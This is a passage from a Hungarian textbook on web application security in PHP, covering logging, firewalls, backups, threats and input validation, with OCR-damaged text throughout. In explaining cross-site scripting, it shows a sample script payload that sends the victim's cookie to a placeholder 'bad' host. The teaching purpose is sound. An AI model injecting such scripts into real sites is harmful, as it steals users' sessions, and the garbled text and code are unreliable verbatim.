A CSR, a fizetend djak s a szemlyazonossgunk igazolshoz szksges dokumenmmok, illetve a domainnv hasznla tra val jogosultsgunkat igazol dokumenmmok birtokban kszen llunk arra, hogy valamely tanst szervezetnl tanst vnyrt folyamodjunk. Miutn a szervezet kiadta tanstvnyunkat, el kell trolni rendszernkn, s kzlni kell a webszerverrel, hogy hol tallja. A vgleges tanstvny az itt lthat CSR-hez nagyon hasonl szvegfjl.

15

Auditls s naplzs
Opercis rendszernk kpes a klnfle esemnyek naplzsra. A biztonsgi szempontbl rdekes esemnyek kz a hlzati hibk, az egyes adatfjlokhoz, pldul a konfigurcis fjlokhoz vagy az NT-Registryhez val hozzfrsek tartoznak, s az olyan prograrnak meghvsa, mint pldul az su (amivel egy msik felhasznlv, pldul rendszergazdv vlharunk Unix rendszeren). A naplfjlok segitsgvel a megtrtntekor szlelhetjk a hibs vagy rosszindulat viselkedst. A problmk szrevtele utn ezek tjkoztatst is adhatnak arrl, hogyan trtnt a problma vagy a betrs. A naplfjlok esetben a kt legnagyobb nehzsg a mretk s a valsgtartalmuk. Ha a problmk szlelsre s naplzsra vonatkoz kritriumok meghatrozsakor tlzott biztonsgra treksznk, ered mnyl rendkivl nehezen kezelhet, hatalmas mret naplkat kapunk. A nagy naplfjlokkal csak gy boldogulhamnk, ha erre szolgl eszkzzel vagy a biztonsgi hzirendbl kidolgozott auditkdokkal ..rdekes" esemnyek utn kutamnk bennnk. Az auditlsi folyamatnak vagy vals idben vagy rendszeres idkznknt kell megtrtnnie. A naplfjlok klnsen nagy mrtkben ki vannak tve a tmads veszlynek. Ha a tmad rendszergazdai jogosultsgok
kal fr hozz rendszernkhz, a naplfjlokat szabadon mdostva eltntetheti a nyomait. A Unix lehetsget ad arra, hogy

kln gpen naplzzuk az esemnyeket. Ez azt jelenti, hogy a crackernek legalbb kt gpet fel kell trnie ahhoz, hogy eltn tesse nyomait. A Windows is knl hasonl funkcit, de nem olyan egyszeren, mint a Unix.
A rendszergazda is vgezhet rendszeres auditlst, de rdemes lehet kls auditlssal rendszeresen ellenrizni a rendszer

gazda munkjt.

242

15. fejezet

Tzfalak
A tzfalakat arra hasznljuk, hogy hlzarunkat elvlasszuk a klvilgtl. Ahogy az plet vagy az aut tzfala megakadlyoz za a tz tovaterjedst, a hlzati tzfalakkal megelzhet, hogy a baj hlzarunkban is elterjedjen. A tzfal clja, hogy a hlzarunkban lv szmtgpeket vdje a kls tmadstl. Szri s nem engedlyezi a szablyainak nem megfelel forgalmat. Emellett korltozza a tzfalon kvL Felhasznlk s gpek tevkenysgt. A tzfal esetenknt az azon belli szemlyek tevkenysgt is behatrolja. Kpes korltozni az emberek ltal hasznlt h lzati protokollokat, azon gpek krt, amelyekhez csadakozhatnak, illetve a svszlessg kltsgeinek leszortsa rdekben proxykszolgl hasznlatra knyszertheti ket. A tzfal lehet hardvereszkz, pldul szrszablyokat hasznl router (tvlaszt), vagy szmtgpen fut szoftver. Mindkt esetben kt hlzathoz kell kapcsoldnia, s szablyok alapjn kell mkdnie. A tzfal az egyik hlzatbl a msikba igyekv forgalmac figyeli. Ha megfelel a tzfal szablyainak, tvezeti a msik hlzatba, ha nem, meglltja vagy visszautastja. A csomagok szrhetk tpusuk, forrs- s clcmk vagy portinformci alapjn. Egyes csomagokat a tzfal egyszeren el vet; ms esemnyekre pedig megadhatjuk, hogy naplbejegyzseket vagy riasztsokat kezdemnyezzenek.

Biztonsgi ments ksztse az adatokrl


A katasztrfa-helyrelltsi tervben nem lehet elgg hangslyozni a biztonsgi mentsek fontossgt. A hardvereket s az in gatlanokat lehet biztostani s ptolni, az oldalakat lehet mshol trolni, de ha sajt fejleszts webes szaftvernk elvsz, nincs az a biztosttrsasg, amely ptolni tudja. Weboldalunk sszes alkotelemrl, gy a statikus oldalakrl, a kdokrl s az adatbzisokrl is rendszeresen biztonsgi mentst kell kszteni. A kvnt gyakorisg attl fgg, mennyire dinan1ikusan mdosul az oldalunk. Teljesen statikus tartalom esetn elg biztonsgi mentst az oldal mdostskor kszteni. Az olyan tpus oldalak azonban, amelyekrl knyvnk szl, gyakran vltoznak, klnsen abban az esetben, ha onLne fogadjuk a megrendelseket. Az sszer mret oldalakat RAID technolgival rendelkez, tkrzse trnagami kpes kszolgln rdemes trolni. Ez zel vdve vagyunk a merevlemez tnkremense esetre. Gondoljunk bele azonban az olyan helyzetekbe, arnikor a teljes merev lemeztmbbel, gppel vagy plettel trtnik valami! Az oldal frisstsnek megfelel gyakorisggal rdemes kln biztonsgi mentseket kszteni. Ezeket kln adathordozn s idelis esetben ms biztonsgos helysznen troljuk, gy tzvsz, lops vagy termszeti katasztrfa esetn is lesz mihez nyl nunk! Rengeteg informciforrs tallhat a biztonsgi mentsekrl s a helyrelltsrL Figyelmnket most a PHP-vel s MySQL adatbzissal ltrehozott oldal biztonsgi mentsre korltozzuk.

15

Biztonsgiments ksztse ltalnos fjlokrl


A rendszerek tbbsgn dediklt szaftver segitsgvel igen egyszeren kszthetnk biztonsgi mentst HTML s PHP kd jainkrl, kpeinkrl s egyb, nem adatbzisfjlokrL A leginkbb szles krben hasznlt, ingyenes eszkz a Marylandi Egyetem ltal kifejlesztett AMANDA (Advanced Ma ryland Autamated Network Disk Archiver). Szmos Unix-disztribciban alaprtelmezsben megtallliat, s SAMBA segtsgvel windowsos gpek biztonsgi mentshez is hasznlhat. Az AMANDA-rl a http:/ /www.amanda.org/ oldalon bvebben olvashatunk.

MySQL adatbzisunk biztonsgimentse s helyrelltsa


l adatbzisrl bonyolultabb biztonsgi mentst kszteni, mint az egyszer fjlokrL Az adatbzis mselst kerlni kell rninden olyan pillanatban, amikor mdosts alatt ll. A MySQL adatbzis biztonsgi mentsre s helyrelltsra vonatkoz rszletes utastsokat a Halad MySQL

adminisztrci cm, 12. leckben trgyalruk.

Fizikai biztonsg
Az eddig megvizsglt biztonsgi fenyegetsek olyan kzzel nem megfoghat dolgokra vonatkoztak, rnint a szoftver, de nem szabad megfeledkeznnk rendszernk fizikai biztonsgrl sem. Klimatizlsra van szksg, s vdekezni kell a tz, a (ktbal kezes vagy rosszindulat) emberek, az ramkimarads s a hlzati lellsok ellen.

Az e-kereskedelem biztonsgi krdsei

243

Rendszernket biztonsgosan bezrt helyen kell tartani. Mkdsnk mrettl fggen ez lehet helyisg vagy szekrny. Csak azoknak az alkalmazottaknak szabad ehhez a gphez hozzfrnik, akiknek erre szksgk van. A jogosulatlan szem lyek szndkosan vagy vletlenl kihzhatnak kbeleket, vagy boot lemez segtsgvel megkisrelhetik megkerlni a biztonsgi mechanizmusokat. A sprinklerek (szrfejes, vzzel olt berendezsek) legalbb annyi krt tudnak tenni az elektronikban, mint a tz. Rgeb ben halont hasznl, gzzal olt rendszerekkel kezeltk ezt a problmt. A "Montreali jegyzknyv az zonrteget lebont anyagokrl" cm egyezmny ma mr tiltja a halon hasznlatr, gy az j tzvdelmi rendszereknek ms, kevsb kros alter narva utn kellett nznik. Kt szba jhet lehetsg az argon s a szn-dioxid. A rmrl bvebben is olvashatunk a http:/l www.epa.gov/Ozone/snap/ fire/qa.hrml oldalon. A vratlan, rvid ramkimaradsok legtbb helyen az let velejri. Rendkvli idjrs vagy fld feletti vezetkek esern a hosszabb kimaradsok is rendszeresek lehetnek. Ha rendszernk folyamatos mkdse fontos szmunkra, be kell ruhznunk sznermentes tpegysgbe

(UPS). Egyetlen gpet akr 60 percen keresztl tpllni kpes sznetmentes tpegysget mr 10

ezer forint krnykn beszerezhetnk. A hosszabb ramkimaradsokat kivlt vagy tbb gpet elltni kpes tpegysgek ennl azrt tbbe kerlnek. A hossz ramkimaradsokhoz genettorra van szksg, hogy a klimarizls s szmrgpeink is m kdni tudjanak. Az ramkimaradshoz hasonlan a nhny perces vagy rs hlzati kimaradsok is ellenrzsnkn kvl esnek. Ha h lzatunk mkdse igazn fontos szmunkra, rdemes lehet egynl tbb internetszolgltathoz kapcsoldni. A kr kapcsolat nyilvn tbbe kerl, de azt jelenti, hogy hlzari hiba ese rn alacsonyabb kapacitssal ugyan, de elrhetk maradunk. A fentiek miatt rdemes lehet megfontolni, hogy gpeinker bizonyos dj ellenben egy e clra kialaktott ltestmnyben helyezzk el (angolul co-locationnek is nevezik ezt a szolglratst). Ennek alapja, hogy egy kzepes mret vllalkozs szmra nem minden esetben gazdasgos egy hosszabb ideig ramelltst bizrosr sznermentes tpegysg, tbb redundns hlzati kapcsolat vagy tzvdelmi rendszer fenntartsa. Egy hasonl vllalkozsok szzainak szmtgpeit trol s zemelter lte stmny szmra azonban igen.

Hogyan tovbb
A 16. fejezetben rszletesebben foglalkozunk a webes alkalmazsok biztonsgva!. Megnzzk, kik az ellensgeink, s hogyan
vdjk meg magunkat tlk, hogyan vcljk szervereinket, hlzatainkat s kdunkat, s hogyan kszljnk fel a katasztrfkra.

15

16
Webes alkalmazsok biztonsga
A fejezeeben folyeaejuk az alkalmazsbiztonsg korbban megkezdett tmjt: teljes webes alkalmazsunk biztonsgoss t telnek krdseit fogjuk megtrgyalni. Webes alkalmazsaink minden egyes porcikjt vdeni kell a lehetsges visszalsektl (legyen azok vletlenek vagy szndkosak), s biztonsgukat elsegt stratgit kell kidolgoznunk az alkalmazsfejlesztshez. A fejezetben az albbi fbb tmakrkkel foglalkozunk: Biztonsgkezelsi stratgik A rnk vr fenyegetsek azonostsa Kikkel llunk szemben? Kdunk biztonsgoss ttele Webszervernk s a PHP biztonsgoss ttele Az adatbzisszerver biztonsga Hlzatunk vdelme Katasztrfa-elhrrsi terv ksztse

Biztonsgkezelsi stratgik
Az internet egyik legnagyszerbb jellemzje - az sszes gp egymssal szembeni nyitottsga s elrhetsge - egyben az egyik legnagyobb fejfjst is okozza a webes alkalmazsfejleszcknek. Az internechez csatlakoztatott rengeteg szmtgp hasznli kzte kevsb nemes szndkakat is tallunk. A rnk leselked veszlyek tudatban flelmetes lehet akr csak belegondolni abba, hogy a hitelkrtyaadatokhoz, a bankszmla-informcikhoz vagy az egszsggyi nyilvntartshoz hasonl bizalmas informcikat kezel webes alkalmazst a globlis hlzat szmra elrhetv tesszk. De az zlet nem llhat meg, s neknk, fejleszeknek nem elegend csupn alkalmazsunk e- kereskedelemmel kapcsolatos rszeit biztonsgoss tenni, hanem a biz tonsg megtervezshez s kezelshez szksges megkzeltst kell kialaktanunk. A lnyeg, hogy megfelel egyenslyt call junk a vdelem szksgessge s a tnyleges zletvitelhez elengedhetetlen, mkd alkalmazs ignye kztt.

Megf elel gondolkodsmd mr a tervezstl


A biztonsg nem egy funkci. Ha webes alkalmazst fejlesztnk, s elksztjk azon funkcik listjt, amiket az alkalmazsnak rudnia kell, a biztonsg nem lesz rajta ezen a listn, s nem tehetjk meg, hogy kijellnk egy fejlesztt, hogy nhny napig dolgozzon az gyn. A biztonsg az alkalmazs teljes tervezsi folyamatnak rszt kell, hogy kpezze, olyan soha vget nem r erfeszts legyen, amely az alkalmazs zembe helyezse s a fejleszts lelassulsa, netn teljes befejezse utn is jelen van az alkalmazsban! Ha mr rgtn az elejn vgiggondoljuk s felkszlnk r, hogy milyen klnbz mdokon lehet rendszernkkel visz szalni, vagy a tmadk milyen mdszerekkel trhetik fel azt, gy tervezhetjk meg kdunkat, hogy cskkentsk az ilyen problmk bekvetkezsnek valsznsgt. gy elkerlhet az is, hogy ksbb, amikor vgre foglalkozni kezdnk a biztonsgi problmkkal, az egsz alkalmazst t kelljen alaktanunk (radsul szinte biztos, hogy nhny potencilis problmrl el fo gunk feledkezni).

A biztonsg s a hasznlhatsg kztti egyensly keresse


Felhasznli rendszer tervezsekor a felhasznli jelszavak azok, amelyek igazn aggodalommal tlthernek el bennnket. A fel hasznJk gyakran vlaszeanak olyan jelszavakat, amelyeket megfelel szaftverrel nem klnsen nehz feltrni, plne abban az esetben, ha sztri szavakat vlasztanak. ppen ezrt szeretnnk cskkenteni a felhasznli jelszavak knny kitallhatsg nak s rendszernk ebbl add egyszer feltrhetsgnek kockzatt.

246

16.fezet

Az egyik lehetsges mdszer, ha megkveteljk a felhasznlktl, hogy ngy, klnbz jelszt kr bejelentkez abla kon keresztl lpjenek be. Azt is megkvetelhegk tlk, hogy legalbb havonta egyszer mdostsk jelszavaikat, mgpedig gy, hogy korbban mr hasznlt jelszavakat nem vlaszthatnak. Ez jelentsen megnveln rendszernk biztonsgt, s a crackereknek sokkal tbb idbe kerlne, amg tkzdenk magukat a belpsi folyamaton, s bejutnnak a rendszerbe. Sajnos rendszernk annyira biztonsgos lenne, hogy senki sem venn a fradsgot, hogy hasznlja - elbb-utbb knytele nek lennnk beltni, hogy a szigorts egyszeren nem rte el cljt. Ez a plda is jl mutatja, hogy br fontos trdni a bizton sggal, legalbb ugyanennyire rdemes foglalkoznunk a biztonsgnak a hasznlhatsgra gyakorolt harsval. Egy egyszeren hasznlhat, alacsony biztonsgi szint rendszer vonz lehet a felhasznlk szmra, m nagyobb valsznsggel szmtha tunk ebbl add biztonsgi problmkra s zleti lellsokra. Ugyangy egy rendkvl robusztus biztonsgi jellemzkkel br s ebbl kvetkezen szinte hasznlharadan rendszer kevs felhasznl szmra lesz elfogadhat, ami szintn negatv kvet kezmnyekkel jr zlermenernkre. Webes alkalmazsok fejlesztiknt olyan mdszereket kell tallnunk, amelyek a rendszer hasznlhatsgt nem arnytala nul megneheztve fokozzk a biztonsgt. Mint ltalban a kezelfellet esetn, itt sincsenek kbe vsett s rninden helyzetre megfelel szablyok, sokkal inkbb sajt tletnkre, hasznlhatsgi resztekre s fkuszcsoportokra tmaszkodva llapthaguk meg, hogy miknt fogadjk a felhasznlk a tervezett megoldsokat.

Biztonsgi felgyelet
Webes alkalmazsunk fejlesztsnek s zembe helyezsnek befejezse urn sem rtnk feladaraink vgre. A biztonsg r szr kpezi a rendszer mkds alatti felgyelete, a naplk s egyb fjlok figyelemmel kvetse, hogy lssuk, hogyan mkdik rendszernk, s hogyan hasznljk. Csak a mkdst kzelrl felgyelve (vagy ezt a feladatot helyetrnk ellt eszkzket megrva s futtatva) azonostharjuk a folyamaros biztonsgi problmkat, illetve hatrozhaguk meg azokat a terlereket, ahol biztonsgosabb megoldsok kifejlesztsre van szksg. A biztonsg, sajnos, folyamaros harc s - bizonyos rrelemben - olyan csata, amir soha nem lehet megnyerni. lland bersg, rendszernk fejlesztse s gyors vlaszlps a problmkra - ez az az r, amir egy zkkenmentesen mkd webes alkalmazsrt fizetni kell.

Alapvet megkzeltsnk
Hogy az sszer erfesztssel s idrfordtssal elrhet legteljesebb biztonsgi megoldst kapjuk, krflekppen kell a biz tonsghoz kzelreni.Az egyik megkzelts az eddig tbeszltekre pl: Hogyan kszljnk fel alkalmazsunk biztonsgoss ttelre, s milyen, a biztonsg megrzst elsegt funkcikar tervezznk bele Ha mindenkppen nevet szeretnnk adni neki, akkor fellrliifele halad Ugyanilyen logikval biztonsgi megkzelrsnk msik g r

megkzeltsnek (top-down) nevezhernnk ezt. lentrl felfel halad megkzeltsnek (bortom-up) hvhatnnk.

Ebben alkalmazsunk klnbz alkotelemeir, pldul az adatbzisszervert, a szervert magr s a hlzator vizsgljuk meg. Meggyzdnk arrl, hogy nem csak az ezekkel az alkotelemekkel val kapcsolatfelvteleink biztonsgosak, hanem telepr sk s konfigurls uk is. Sok termk olyan bellrsokkal telepl fel, amelyek vdtelenl hagynak bennnker a tmadsokkal szemben, ezrt fontos risztban lenni vele, hogy melyek ezek a lyukak, s hogyan tmhetjk be ket.

16

A rnk vr fenyegetsek azonostsa


A 15. fejezetben

(Az e-kereskedelem biztonsgi krdsei) szmos, online zleti alkalmazsainkat clz biztonsgi fenyegetst

megismerhettnic Ebben a fejezetben ezek kzl nhnyra fogjuk figyelmnket sszpontostani, s megnzzk, miben kell fejlesztsi gyakorlatunkat megvltozratni, ha kezelni kivnjuk az ilyen fenyegetseket.

Bizalmas adatok elrse vagy mdostsa


Webes alkalmazsfejlesztknt vagy programozknt feladataink kz tartozik, hogy gondoskodjunk a felhasznlk ltal rnk bzott, illetve a vllalatunk ms osztlyairl kapott adatok biztonsgrL Ha webes alkalmazsunk felhasznli szmra rszben vagy egszben elrherv tesszk ezeket az adatokat, olyan mdon kell ezt tennnk, hogy csak azokat az informcikat tekinthes sk meg, amelyeket jogosultak ltni.Szinte nnden esetben igaz, hogy ms felhasznlk adataihoz nem szabad hozzfrnik. Ha online rszvny- vagy befektetsialap-kereskedsi rendszerhez runk platforrnot (kezelfelletet), akkor a szmlkat tartalmaz tblkhoz hozzfr szemlyek megnzhetik a felhasznlk szemlyes azonost adatait (lakcm, adazonosr jel stb.), lthatjk, rnilyen s hny rtkpaprral rendelkeznek, st akr a bankszmla-informcikhoz is hozzfrnek.

Webes alkalmazsok biztonsga

247

Akr csak egy neveket s lakcmeket tartalmaz tbla nyilvnoss ttele is a biztonsgi szablyok slyos megszegst jelenti. Az gyfelek nagyra rtkelik szemlyes adataik vdelmr. A nevket s lakcmket tartalmaz lista valamilyen tovbbi infor mcival lciegszrve (.,mind a tzezer ember szakott online dohnyboltban vsrolni") potencilisan rtkesthet rucikket jelent a jtkszablyokat be nem tart marketinges cgek szmra. Az adatainkhoz val egyszer hozzfrsnl is sokkal rosszabb, ha valaici mdot tall manipullsukra. Egy boldog banici gyfl hirtelen nhny ezer dollrral tbbet tall szmljn; vagy egy gyfl szlltsi cmnek mdostsa is boldogg tehet valakit (vlheten azt, aici megvltoztatta az adatokat, s nagy rmmel veszi t a valaici msnak kldend csomagot).

Adatveszts vagy rongls


A jogosulatlan felhasznlk bizalmas adatokhoz jutsnl semmivel sem jobb, ha hirtelen azt ltjuk, hogy adataink egy rszt kitrltk vagy megrongltk. Ha valaicinek sikerl adatbzisunkban tblkat megronglni vagy kitrlni, visszafordthatatlan zleti kvetkezmnyekkel vagyunk knytelenek szembeslni. Ha bankszmla-informcikat megjelent online bank vagyunk, s valahogy elvsz egy adott szmla sszes adata, akkor, bizony, nem jl vgezzk a dolgunkat. Mg ennl is rosszabb, ha a fel hasznlk (gyfelek) teljes tblja trldik, mert akkor nem kevs idt kell arra fordtanunk, hogy rekonstruljuk az adatbzist, s kidertsk, Icinek mennyi pnze van. Fontos megemlteni, hogy adarveszts vagy -rongls nem csak a rendszerrel val rosszindulat vagy vletlen visszals miatt kvetkezhet be. Ha az plet, amelyben szervereinket troljuk, kigyullad, s vele egytt az sszes kiszolgl s merevlemez por r g. akkor igen komoly mennyisg adatot vesztnk. Ilyenkor fizetdik Ici, ha rendelkeznk megfelel biztonsgi mentssel s katasztrfa-elhrrsi tervvel.

Denial of Service tmads


Korbban mr volt sz a szolgltatsmegtagadssal jr (DoS) tmadsokrl s mg veszlyesebb tesrvreikrl, a megosztott szolgltatsmegtagadssal jr (D DoS) tmadsokrl, amelyek komolyan veszlyeztethetik alkalmazsunk elrhetsgt. Ha szervereinket rkra vagy akr mg tovbb elrhetedenn teszik, olyan kihvssal llunk szemben, amellyel nem knny meg birkzni. Ha belegondolunk, hogy mennyire elterjedt szmos nagy internetes oldal hasznlata, s mennyire szmtunk arra, hogy brmikor elrhetjk ket, knnyen belthatjuk, hogy bizonyos esetekben a legrvidebb lells is kritikus lehet. Akrcsak az elz veszlyforrs, a szolgltatsmegtagads sem csak rosszindulat visszals miatt kvetkezhet be. Hiba rendelkeznk teljes kr, fizikailag mshol trolt biztonsgi mentsekkel: ha a szervereinknek otthont ad plet leg. srla vina temeti be, vagy fldnlcivliek leromboljk, s mi megfelel terv hinyban nem tudjuk szmtgpeinket rendkivl rvid id alatt jbl online llapotba hozni, akkor megint csak gyfeleket fogunk elveszteni.

Rosszindulat kd befecskendezse
Az interneten keresztl igen hatkony a rosszindulat kd befecskendezsnek (malicious code injecrion) nevezhet tmadst

pus. Ezen bell a leghresebb a Cross Site Scripting tmads. Szoks XSS-nek is nevezni, hogy ne keverjk ssze a CSS-knt rvidtett egymsba gyazott stluslapokkal (Cascading Scyle Sheets). Ami igazn aggaszt ezekkel a tmadsokkal kapcso latban, hogy nem keletkezik nyilvnval vagy azonnali adarveszts, hanem jellemzerr szrevtlenl lefut valamilyen kd, ami klnbz mrtk adarvesztst vagy a felhasznlk tirnytst eredmnyezi. A Cross Site Scripting alapveterr a kvetkezkppen mkdik:
l. A rosszindulat felhasznl egy rlapba, amely a belvitt adatokat msok szmra megjelenti (pldul megjegyzs vagy

16

zenet bevitelre szolgl rlapba) nem csak az zenetet rja be, hanem a kliensen lefut kdot is, pldul:
<script>="text/javascript"> this.document
=

"go.somewhere.bad?cookie="

this.cookie;

</script>="text/javascript">

2. A rosszindulat felhasznl elkldi az rlapot, s vr. 3. A rendszer kvetkez felhasznlja, aici elltogat a rosszindulat felhasznl ltal bevitt szveget tartalmaz oldalra, le

futtatja a bevitt szkript kdjt. Egyszer pldnk tirnytja a felhasznlt (s nmi cookie informcit) az eredeti oldalrl. Br ez csak egy rendkivl egyszer plda, kliensoldali programozssal sok minden elrhet, az ilyen tmads ltal icinlc lehetsgek pedig szmunkra igen rmisztek lehetnek.

248

16.fezet

Feltrt szerver
Ugyan egy feltrt kiszolgl a korbban sorolt fenyegetsekkel rszben megegyez veszlyforrsokat rejt, mgis rdemes meg emlteni, hogy a tmadk clja egyes esetekben az, hogy hozzfrst szerezzenek rendszernkhz, s lehetleg rendszergazdai jogosultsgokkal rendelkezzenek ekzben. Ha ez megvan, szinte teljhatalmat kapnak a feltrt szmtgp felett, brmilyen programot futtathatnak, lellthatjk a gpet, vagy olyan szaftvereket telepthetnek, amelyek munkjt nem igazn fogjuk rt kelni. Nagyon nagy bersgre van szksg az ilyen tpus tmadsok ellen, mert a kiszolgl feltrse utn a tmadk egyik els lpse nyomaik s a bizonytkek eltntetse lesz.

Kikkel llunk szemben:


Br sztnsen hajlamosak vagyunk a biztonsgi problmkat okoz szemlyekre gy gondolni, mint rossz vagy rosszindulat, krokozsi szndktl vezrelt emberekre, sok esetben ms szereplk is megjelennek a"kzdtren': k akaraclan rsztvevk, s nem veszik j nven, ha rosszknt tekintnk rjuk.

Crackerek
A legnyilvnvalbb s legismertebb csoportot crackereknek nevezzk.Szndkosan megklnbztetjk ket a hackerektl,

mert nem szeretnnk megsrteni az igazi hackereket, akik nagy rsze teljesen risztessges s j szndk programoz. A k lnbz motivcij crackerek megprblnak gyengesgeket tallni, s ezeken tjutva elrni cljaikat. Vezetheti ket mohsg. ha pldul egy versenytrsunk fizeti ket azrt, hogy informcikat szerezzenek rendszernkrl, de lehetnek egyszeren tehet sges emberek, akik a ms rendszerekbe val betrs izgaimt keresik.Ugyan komoly fenyegetst jelentenek szmunkra, hiba lenne minden erfesztsnket rjuk pazarolni.

Fertztt gpek tjkozatlan felhasznli


A crackerek mellett sokan msok miatt is aggdharunk A modern szoftverek nagy rszben megtallhat gyengesgek s biz

tonsgi hibk miatt a szmtgpek riasztan magas arnya fertztt rnindenfle feladatot vgrehajt programokkal. Knnyen elfordulhat, hogy bels cges hlzatunk egyes felhasznlinak a gpn ilyen programok futnak, s azok gy tudjk tmadni kiszolglnkat, hogy rni abbl mit sem sej tnk.

Elgedetlen alkalmazottak
A kvetkez csoportot, amelytl szintn okunk lehet tartani, sajt alkalmazottaink alkotjk. Ezek az alkalmazottak valarnilyen

okbl hajlamosak lehetnek krt okozni annak a cgnek, amelynek dolgoznak. Brmi is legyen a motivcijuk, megprblhatnak amatr hackerr vlni, vagy olyan eszkzket szerezhernek be kls forrsbl, amelyekkel a vllalari hlzaton bellrl tmad hatjk a szervereket. Ha megvdjk magunkat a klvilg tmadsaitl, de bellrl vdtelenek maradunk, nem lesznk bizton sgban. Kellen nyoms rv ez az gynevezett demilitarizlt zna (DMZ) megvalstsra, arnivel a fejezet ksbbi rszben

16

foglalkozunk majd.

Hardvertolvajok
Gyakran figyelmen kvl hagyott biztonsgi fenyegets, ami ellen sokan egyszeren elfelejtenek vdekezni: valaki lazn bestl a szerverszobba, kihzza valamelyik berendezs kbeleit, s hna alatt az eszkzzel kistl az pletbL Meglepdnnk, ha tudnnk, hogy sok irodapletbe milyen egyszeren be lehet jutni, s ott a gyan legcseklyebb rnyka nlkl stlgatni. Ha valaki a megfelel idpontban a megfelel szobba tr be, knnyen egy vadonatj szerver boldog tulajdonosv vlhat - s r adsknt a bizalmas adarokkal teli merevlemezt is megnyerte.

Sajt magunk
Kellemetlen lehet elismerni, de rendszereink biztonsgt illeten mi magunk s az ltalunk rt kd az, ami az egyik legnagyobb fejfjst okozhatja. Ha nem fordrunk kell figyelmet a biztonsgra, ha hanyag mdon rjuk meg a kdot, s nem kell alapos sggal vgezzk rendszernk biztonsgi tesztelst s ellenrzst, akkor segit kezet nyjtunk a rendszernket feltrni kv n, rosszindulat felhasznlknak.

Webes alkalmazsok biztonsga

249

Ha mr csinlunk valamit,csinljuk jl! Az internet klnsen nem megbocst a gondatlansgra vagy lustasgra hajlamos szemlyekkel szemben. A legnehezebb az,amikor fnknket vagy a vllalkozsi djunkat elfogad vezett kell meggyzni ar rl, hogy a tbbletkiads vagy tbbletid-rfordts bven megtrl majd. Ha nhny perces eladst tartunk nekik a biztons

gi mulasztsok negatv hatsairl

(kztk a pnztrcjuk ellen dolgoz kros kvetkezmnyektl), taln knnyebben beltjk,

hogy rdemes a biztonsgra kicsivel tbbet sznni egy olyan vilgban,ahol minden a hrnvrl szl.

Kdunk biztonsgoss ttele


A biztonsg megkzeltsnek msik tja,amikor egyenknt megvizsgljuk az alkotelemeket,s megnzzk,hogyan nvelhe

t a bizronsguk. Els lpsknt azokat a dolgokat vizsgljuk meg, amelyek segthecnek megrizni kdunk biztonsgt. Ugyan
knyvnkben nincs mdunk arra, hogy bemutassuk, mi mindent tehernk az sszes lehetsges biztonsgi fenyegers elhrtsa rdekben (szmtalan ktetnyi irodalmat rtak mr e tmban),ltalnos irnymutatst prblunk nyjtani,hogy a megfelel irnyba induljunk el. A PHP egyes,a ksbbi fejezetekben hasznland mdszereivel kapcsolatos biztonsgi agglyokra akkor s ott fogjuk felhvni a figyelmet, amikor bemutatjuk e mdszereket.

Felhasznl ltal bevitt rtkek szrse


Az egyik legfontosabb dolog, amit webes alkalmazsaink biztonsgosabb ttele rdekben megtehernk,hogy

minden, Jelhasz

nl ltal bevitt rtket szrnk.


Az alkalmazsok fejlesztinek minden,kls forrsbl szrmaz bevitele szrnik kell. Ez nem azt jelenti,hogy rendsze rnket azzal a felttelezssel kell megtervezni,hogy az sszes felhasznlnk tisztessgtelen. ppen ellenkezleg: rmmel ltjuk,st btortjuk ket,hogy hasznljk webes alkalmazsunkat. Viszont szerecnnk megbizonyosodni arrl,hogy minden szempontbl felkszltek vagyunk a rendszernkkel esetlegesen elkvetett visszalsekkel szemben. Hatkonyan vgrehajtort szrssel jelents mrtkben cskkenthetjk a kls fenyegetsek szmt,s fokozhatjuk rend szernk robusztussgt. Mg ha ktsg sem merl fel felhasznlink megbzhatsgval kapcsolatban,akkor sem lehetnk biztosak afell,hogy nincsen gpkn valamilyen spyware program vagy hasonl dolog,amivel mdostort vagy j krseket kld szervernknek. A kls forrsbl, pldul gyfelektl rkez bevitel szrsnek fontossgra val tekintertel nzzk meg,milyen mdon tehetjk ezt meg!

A vrt rtkek alapos ellenrzse


Gyakran krjk a felhasznlkat arra,hogy megadott lehetsgek, pldul a szllts mdjai (posta,futr,expressz) kzl v lasszanak. Kpzeljk el,hogy az albbi egyszer rlappal dolgozunk:
<htrnl> <head> <title> Ht, </head> <body> <forrn action="urlap_elkuldese.php" rnethod="POST"> <input type="radio" narne="nerne" value="Ferfi"/>Frfi<br/> <input type="radio" narne="nerne" value="No">N6<br/> <input type="radio" narne="nerne" value="Egyeb"/>Kzd?<br/> <input type="subrnit" value="subrnit"/> </forrn> </body> </htrnl> te ki vagy? </title>

16

Ez az rlap a 16.1 brn lthat mdon nz ki. Ennek birtokban felttelezhetnnk,hogy amikor csak lekrdezzk az urlap_elkuldese.phpfjlban a$_POST['nerne') nagyor rvednnk. rtkt,a 'Ferfi', 'No' vagy 'Egyeb' valamelyikt kapjuk-s

250

16. fejezer

16.1 bra: Egyszer rlap a Jelhasznl nemnek kidertsre.

Ahogy korbban mr emltettk, az interner a HTTP, egy egyszer szvegprorokoll hasznlatval mkdik. Az elz rlap szveges zenetknt, az albbihoz hasonl szerkezerben jutna el kiszolglnkhoz:
POST /neme.php HTTP/1.1 Host: www.yourhostname.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:l.9.0.1)

Gecko/2008070208 Firefox/3.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: ll neme=Ferfi

Azt azonban semmi nem akadlyozza meg. hogy valaki kapcsoldjon webszervernkhz, s brmilyen rtket kldjn ne knk az rlaphoz. gy ez a valaki a kvetkezket is elkldheti neknk:
POST /neme.php HTTP/1.1 Host: www.yourhostname.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.1)

Gecko/2008070208 Firefox/3.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 22 neme=szeretem+a+sutiket.

Ha ksbb az albbi kdot rnnk:


<?php echo "<p align=\"center\"> A felhasznl neme: ". $ POST ['neme' J </p>"; ?>

"

knnyen zavarba hozharnnk sajt magunkat. Sokkal jobban jrunk, ha tnylegesen meggyzdnk arrl, hogy a bejv rtk a vrt/megengedett rtkek valamelyike, pldul gy:
<?php switch ($_POST['neme'])

case 'Ferfi' :

16

case No': case 'Egyeb' :

echo "<p align=\"center\">Gratullunk! Nemed: ".$ POST['neme']. ".</p>"; break;

default:

echo "<p align=\"center\"> <span style=\"color: red;\">FIGYELMEZTETS:</span>

rvnytelen bemeneti rtk a nemnl.</p>";

break;

?>

Webes alkalmazsok biztonsga

251

